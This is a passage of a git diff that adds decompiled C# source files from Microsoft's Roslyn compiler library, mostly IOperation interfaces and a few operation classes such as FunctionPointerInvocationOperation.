nextSlot: -1, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_0068: + if (base.Body != null) + { + return (hasNext: true, nextSlot: 4, nextIndex: 0); + } + goto case 4; + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitForToLoop(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitForToLoop(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForToLoopOperationUserDefinedInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForToLoopOperationUserDefinedInfo.cs new file mode 100644 index 0000000..426631c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ForToLoopOperationUserDefinedInfo.cs @@ -0,0 +1,20 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal class ForToLoopOperationUserDefinedInfo +{ + public readonly IBinaryOperation Addition; + + public readonly IBinaryOperation Subtraction; + + public readonly IOperation LessThanOrEqual; + + public readonly IOperation GreaterThanOrEqual; + + public ForToLoopOperationUserDefinedInfo(IBinaryOperation addition, IBinaryOperation subtraction, IOperation lessThanOrEqual, IOperation greaterThanOrEqual) + { + Addition = addition; + Subtraction = subtraction; + LessThanOrEqual = lessThanOrEqual; + GreaterThanOrEqual = greaterThanOrEqual; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FunctionPointerInvocationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FunctionPointerInvocationOperation.cs new file mode 100644 index 0000000..73e0669 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/FunctionPointerInvocationOperation.cs @@ -0,0 +1,113 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class FunctionPointerInvocationOperation : Operation, IFunctionPointerInvocationOperation, IOperation +{ + public IOperation Target { get; } + + public ImmutableArray Arguments { get; } + + internal override int ChildOperationsCount => ((Target != null) ? 1 : 0) + Arguments.Length; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.FunctionPointerInvocation; + + internal FunctionPointerInvocationOperation(IOperation target, ImmutableArray arguments, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Target = Operation.SetParentOperation(target, this); + Arguments = Operation.SetParentOperation(arguments, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Target != null) + { + return Target; + } + break; + case 1: + if (index < Arguments.Length) + { + return Arguments[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (!Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + case 1: + if (previousIndex + 1 < Arguments.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: Arguments.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + if (Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitFunctionPointerInvocation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitFunctionPointerInvocation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/HasDynamicArgumentsExpression.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/HasDynamicArgumentsExpression.cs new file mode 100644 index 0000000..ab6a0e6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/HasDynamicArgumentsExpression.cs @@ -0,0 +1,23 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +internal abstract class HasDynamicArgumentsExpression : Operation +{ + public ImmutableArray ArgumentNames { get; } + + public ImmutableArray ArgumentRefKinds { get; } + + public ImmutableArray Arguments { get; } + + public override ITypeSymbol? Type { get; } + + protected HasDynamicArgumentsExpression(ImmutableArray arguments, ImmutableArray argumentNames, ImmutableArray argumentRefKinds, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Arguments = Operation.SetParentOperation(arguments, this); + ArgumentNames = argumentNames; + ArgumentRefKinds = argumentRefKinds; + Type = type; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAddressOfOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAddressOfOperation.cs new file mode 100644 index 0000000..b1738a9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAddressOfOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IAddressOfOperation : IOperation +{ + IOperation Reference { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAggregateQueryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAggregateQueryOperation.cs new file mode 100644 index 0000000..569f06f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAggregateQueryOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal interface IAggregateQueryOperation : IOperation +{ + IOperation Group { get; } + + IOperation Aggregation { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAnonymousFunctionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAnonymousFunctionOperation.cs new file mode 100644 index 0000000..4ec3dfb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAnonymousFunctionOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IAnonymousFunctionOperation : IOperation +{ + IMethodSymbol Symbol { get; } + + IBlockOperation Body { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAnonymousObjectCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAnonymousObjectCreationOperation.cs new file mode 100644 index 0000000..5b9790c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAnonymousObjectCreationOperation.cs @@ -0,0 +1,8 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IAnonymousObjectCreationOperation : IOperation +{ + ImmutableArray Initializers { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArgumentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArgumentOperation.cs new file mode 100644 index 0000000..91264ee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArgumentOperation.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IArgumentOperation : IOperation +{ + ArgumentKind ArgumentKind { get; } + + IParameterSymbol? Parameter { get; } + + IOperation Value { get; } + + CommonConversion InConversion { get; } + + CommonConversion OutConversion { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArrayCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArrayCreationOperation.cs new file mode 100644 index 0000000..72e77f7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArrayCreationOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IArrayCreationOperation : IOperation +{ + ImmutableArray DimensionSizes { get; } + + IArrayInitializerOperation? Initializer { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArrayElementReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArrayElementReferenceOperation.cs new file mode 100644 index 0000000..a4551a5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArrayElementReferenceOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IArrayElementReferenceOperation : IOperation +{ + IOperation ArrayReference { get; } + + ImmutableArray Indices { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArrayInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArrayInitializerOperation.cs new file mode 100644 index 0000000..6110ad4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IArrayInitializerOperation.cs @@ -0,0 +1,8 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IArrayInitializerOperation : IOperation +{ + ImmutableArray ElementValues { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAssignmentOperation.cs new file mode 100644 index 0000000..299d5c8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAssignmentOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IAssignmentOperation : IOperation +{ + IOperation Target { get; } + + IOperation Value { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAttributeOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAttributeOperation.cs new file mode 100644 index 0000000..cbc5c88 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAttributeOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IAttributeOperation : IOperation +{ + IOperation Operation { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAwaitOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAwaitOperation.cs new file mode 100644 index 0000000..bfd5b2a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IAwaitOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IAwaitOperation : IOperation +{ + IOperation Operation { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBinaryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBinaryOperation.cs new file mode 100644 index 0000000..de99536 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBinaryOperation.cs @@ -0,0 +1,20 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IBinaryOperation : IOperation +{ + BinaryOperatorKind OperatorKind { get; } + + IOperation LeftOperand { get; } + + IOperation RightOperand { get; } + + bool IsLifted { get; } + + bool IsChecked { get; } + + bool IsCompareText { get; } + + IMethodSymbol? OperatorMethod { get; } + + ITypeSymbol? ConstrainedToType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBinaryPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBinaryPatternOperation.cs new file mode 100644 index 0000000..631764f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBinaryPatternOperation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IBinaryPatternOperation : IPatternOperation, IOperation +{ + BinaryOperatorKind OperatorKind { get; } + + IPatternOperation LeftPattern { get; } + + IPatternOperation RightPattern { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBlockOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBlockOperation.cs new file mode 100644 index 0000000..468f458 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBlockOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IBlockOperation : IOperation +{ + ImmutableArray Operations { get; } + + ImmutableArray Locals { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBranchOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBranchOperation.cs new file mode 100644 index 0000000..233d2ad --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IBranchOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IBranchOperation : IOperation +{ + ILabelSymbol Target { get; } + + BranchKind BranchKind { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICaseClauseOperation.cs new file mode 100644 index 0000000..971a468 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICaseClauseOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ICaseClauseOperation : IOperation +{ + CaseKind CaseKind { get; } + + ILabelSymbol? Label { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICatchClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICatchClauseOperation.cs new file mode 100644 index 0000000..89d5533 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICatchClauseOperation.cs @@ -0,0 +1,16 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface ICatchClauseOperation : IOperation +{ + IOperation? ExceptionDeclarationOrExpression { get; } + + ITypeSymbol ExceptionType { get; } + + ImmutableArray Locals { get; } + + IOperation? Filter { get; } + + IBlockOperation Handler { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICoalesceAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICoalesceAssignmentOperation.cs new file mode 100644 index 0000000..69adb2b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICoalesceAssignmentOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ICoalesceAssignmentOperation : IAssignmentOperation, IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICoalesceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICoalesceOperation.cs new file mode 100644 index 0000000..44c877b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICoalesceOperation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ICoalesceOperation : IOperation +{ + IOperation Value { get; } + + IOperation WhenNull { get; } + + CommonConversion ValueConversion { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICollectionElementInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICollectionElementInitializerOperation.cs new file mode 100644 index 0000000..08ea0fd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICollectionElementInitializerOperation.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +[Obsolete("ICollectionElementInitializerOperation has been replaced with IInvocationOperation and IDynamicInvocationOperation", true)] +public interface ICollectionElementInitializerOperation : IOperation +{ + IMethodSymbol AddMethod { get; } + + ImmutableArray Arguments { get; } + + bool IsDynamic { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICompoundAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICompoundAssignmentOperation.cs new file mode 100644 index 0000000..19be23e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ICompoundAssignmentOperation.cs @@ -0,0 +1,18 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ICompoundAssignmentOperation : IAssignmentOperation, IOperation +{ + CommonConversion InConversion { get; } + + CommonConversion OutConversion { get; } + + BinaryOperatorKind OperatorKind { get; } + + bool IsLifted { get; } + + bool IsChecked { get; } + + IMethodSymbol? OperatorMethod { get; } + + ITypeSymbol? ConstrainedToType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConditionalAccessInstanceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConditionalAccessInstanceOperation.cs new file mode 100644 index 0000000..a9a7629 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConditionalAccessInstanceOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IConditionalAccessInstanceOperation : IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConditionalAccessOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConditionalAccessOperation.cs new file mode 100644 index 0000000..87b3582 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConditionalAccessOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IConditionalAccessOperation : IOperation +{ + IOperation Operation { get; } + + IOperation WhenNotNull { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConditionalOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConditionalOperation.cs new file mode 100644 index 0000000..ee5fcf8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConditionalOperation.cs @@ -0,0 +1,12 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IConditionalOperation : IOperation +{ + IOperation Condition { get; } + + IOperation WhenTrue { get; } + + IOperation? WhenFalse { get; } + + bool IsRef { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConstantPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConstantPatternOperation.cs new file mode 100644 index 0000000..0cedef9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConstantPatternOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IConstantPatternOperation : IPatternOperation, IOperation +{ + IOperation Value { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConstructorBodyOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConstructorBodyOperation.cs new file mode 100644 index 0000000..a052114 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConstructorBodyOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IConstructorBodyOperation : IMethodBodyBaseOperation, IOperation +{ + ImmutableArray Locals { get; } + + IOperation? Initializer { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConversionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConversionOperation.cs new file mode 100644 index 0000000..32063d0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConversionOperation.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IConversionOperation : IOperation +{ + IOperation Operand { get; } + + IMethodSymbol? OperatorMethod { get; } + + ITypeSymbol? ConstrainedToType { get; } + + CommonConversion Conversion { get; } + + bool IsTryCast { get; } + + bool IsChecked { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConvertibleConversion.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConvertibleConversion.cs new file mode 100644 index 0000000..dea974b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IConvertibleConversion.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal interface IConvertibleConversion +{ + CommonConversion ToCommonConversion(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDeclarationExpressionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDeclarationExpressionOperation.cs new file mode 100644 index 0000000..d76a0a4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDeclarationExpressionOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDeclarationExpressionOperation : IOperation +{ + IOperation Expression { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDeclarationPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDeclarationPatternOperation.cs new file mode 100644 index 0000000..ca1a816 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDeclarationPatternOperation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDeclarationPatternOperation : IPatternOperation, IOperation +{ + ITypeSymbol? MatchedType { get; } + + bool MatchesNull { get; } + + ISymbol? DeclaredSymbol { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDeconstructionAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDeconstructionAssignmentOperation.cs new file mode 100644 index 0000000..d97f847 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDeconstructionAssignmentOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDeconstructionAssignmentOperation : IAssignmentOperation, IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDefaultCaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDefaultCaseClauseOperation.cs new file mode 100644 index 0000000..ce65256 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDefaultCaseClauseOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDefaultCaseClauseOperation : ICaseClauseOperation, IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDefaultValueOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDefaultValueOperation.cs new file mode 100644 index 0000000..08681e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDefaultValueOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDefaultValueOperation : IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDelegateCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDelegateCreationOperation.cs new file mode 100644 index 0000000..c1c6b41 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDelegateCreationOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDelegateCreationOperation : IOperation +{ + IOperation Target { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDiscardOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDiscardOperation.cs new file mode 100644 index 0000000..9cfd87d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDiscardOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDiscardOperation : IOperation +{ + IDiscardSymbol DiscardSymbol { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDiscardPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDiscardPatternOperation.cs new file mode 100644 index 0000000..3c2995d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDiscardPatternOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDiscardPatternOperation : IPatternOperation, IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicIndexerAccessOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicIndexerAccessOperation.cs new file mode 100644 index 0000000..2d98903 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicIndexerAccessOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDynamicIndexerAccessOperation : IOperation +{ + IOperation Operation { get; } + + ImmutableArray Arguments { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicInvocationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicInvocationOperation.cs new file mode 100644 index 0000000..347a21e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicInvocationOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDynamicInvocationOperation : IOperation +{ + IOperation Operation { get; } + + ImmutableArray Arguments { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicMemberReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicMemberReferenceOperation.cs new file mode 100644 index 0000000..c5ad989 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicMemberReferenceOperation.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDynamicMemberReferenceOperation : IOperation +{ + IOperation? Instance { get; } + + string MemberName { get; } + + ImmutableArray TypeArguments { get; } + + ITypeSymbol? ContainingType { get; } +} diff --git 